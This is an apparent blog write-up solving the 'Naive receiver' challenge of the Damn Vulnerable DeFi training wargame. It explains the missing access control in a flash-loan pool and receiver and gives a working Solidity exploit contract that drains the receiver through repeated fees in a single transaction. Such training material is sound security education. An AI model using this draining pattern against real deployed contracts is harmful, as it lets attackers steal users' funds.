Damn Vulnerable DeFi Challenge #2 Solution

Damn Vulnerable DeFi is, and forever will be, an educational resource for the community. It is intended to be a safe playground to train security researchers that will help protect Ethereum applications. In solving these challenges, you may learn how to exploit vulnerabilities in smart contracts. They might resemble the ones you’ll uncover during your own research of contracts in production. If that’s the case, always follow each project’s responsible disclosure processes, usually via bug bounty programs or security contacts.

@tinchoabbate, creator of damnvulnerabledefi.xyz


Published Feb 15, 2023

Challenge #2 - Naive receiver

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

The first thing that stands out in these contracts is that neither the pool nor the receiver implement any sort of access control. The pool’s flashLoan function calls the onFlashLoan function on any contract that is set as the receiver.

// contracts/naive-receiver/NaiveReceiverLenderPool.sol

function flashLoan(
    IERC3156FlashBorrower receiver,
    address token,
    uint256 amount,
    bytes calldata data
) external returns (bool) {
    if (token != ETH) revert UnsupportedCurrency();

    uint256 balanceBefore = address(this).balance;

    // Transfer ETH and handle control to receiver
    SafeTransferLib.safeTransferETH(address(receiver), amount);
    if (
        receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS
    ) {
        revert CallbackFailed();
    }

    if (address(this).balance < balanceBefore + FIXED_FEE)
        revert RepayFailed();

    return true;
}

We can call the receiver’s onFlashLoan function, and it will transfer back amount and fee. amount is set in the pool’s flashLoan function’s amount parameter. fee is set by the pool’s FIXED_FEE constant (1 ether).

// contracts/naive-receiver/FlashLoanReceiver.sol

function onFlashLoan(
    address,
    address token,
    uint256 amount,
    uint256 fee,
    bytes calldata
) external returns (bytes32) {
    assembly {
        // gas savings
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed)
            revert(0x1c, 0x04)
        }
    }

    if (token != ETH) revert UnsupportedCurrency();

    uint256 amountToBeRepaid;
    unchecked {
        amountToBeRepaid = amount + fee;
    }

    _executeActionDuringFlashLoan();

    // Return funds to pool
    SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

    return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

We can call onFlashLoan on the receiver through the pool’s flashLoan function. The receiver will transfer the fee to the pool, so all we have to do is repeatedly call onFlashLoan until the receiver is drained. The challenge asks us to do it in one transaction, though.

To do so, we can create a loop in a contract’s constructor, and it will run right when it is deployed. The contract’s deployment will be our only transaction.

Let’s create a contract that transfers everything to the pool from within its constructor.

// contracts/naive-receiver/Hose.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";

contract Hose {
    constructor(
        IERC3156FlashBorrower receiver,
        NaiveReceiverLenderPool pool
    ) {
        while (address(receiver).balance >= 1 ether)
            pool.flashLoan(receiver, pool.ETH(), 0, "");
    }
}

We call flashLoan on the pool until the receiver can no longer pay the fee. We set flashLoan’s receiver parameter as the receiver we want to call onFlashLoan on. The token parameter must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE or the function will revert. We can conveniently pass in the pool’s ETH constant since it is public. The amount parameter doesn’t matter in this case since the receiver does not do anything with the actual loan. It could really be anything between 0 and 1000 ETH (the pool’s balance). The data parameter is also impactless, since the receiver just throws this argument out.

A for loop might be better here, so we can set the amount of times we loop, and control how much gas we spend. But since the player account is balling out with 10,000 ETH, it doesn’t matter much in this case.

All that is left to do is compile and deploy our new contract.

// test/naive-receiver/naive-receiver.challenge.js

it('Execution', async function () {
  await (
    await ethers.getContractFactory('Hose', player)
  ).deploy(receiver.address, pool.address)
})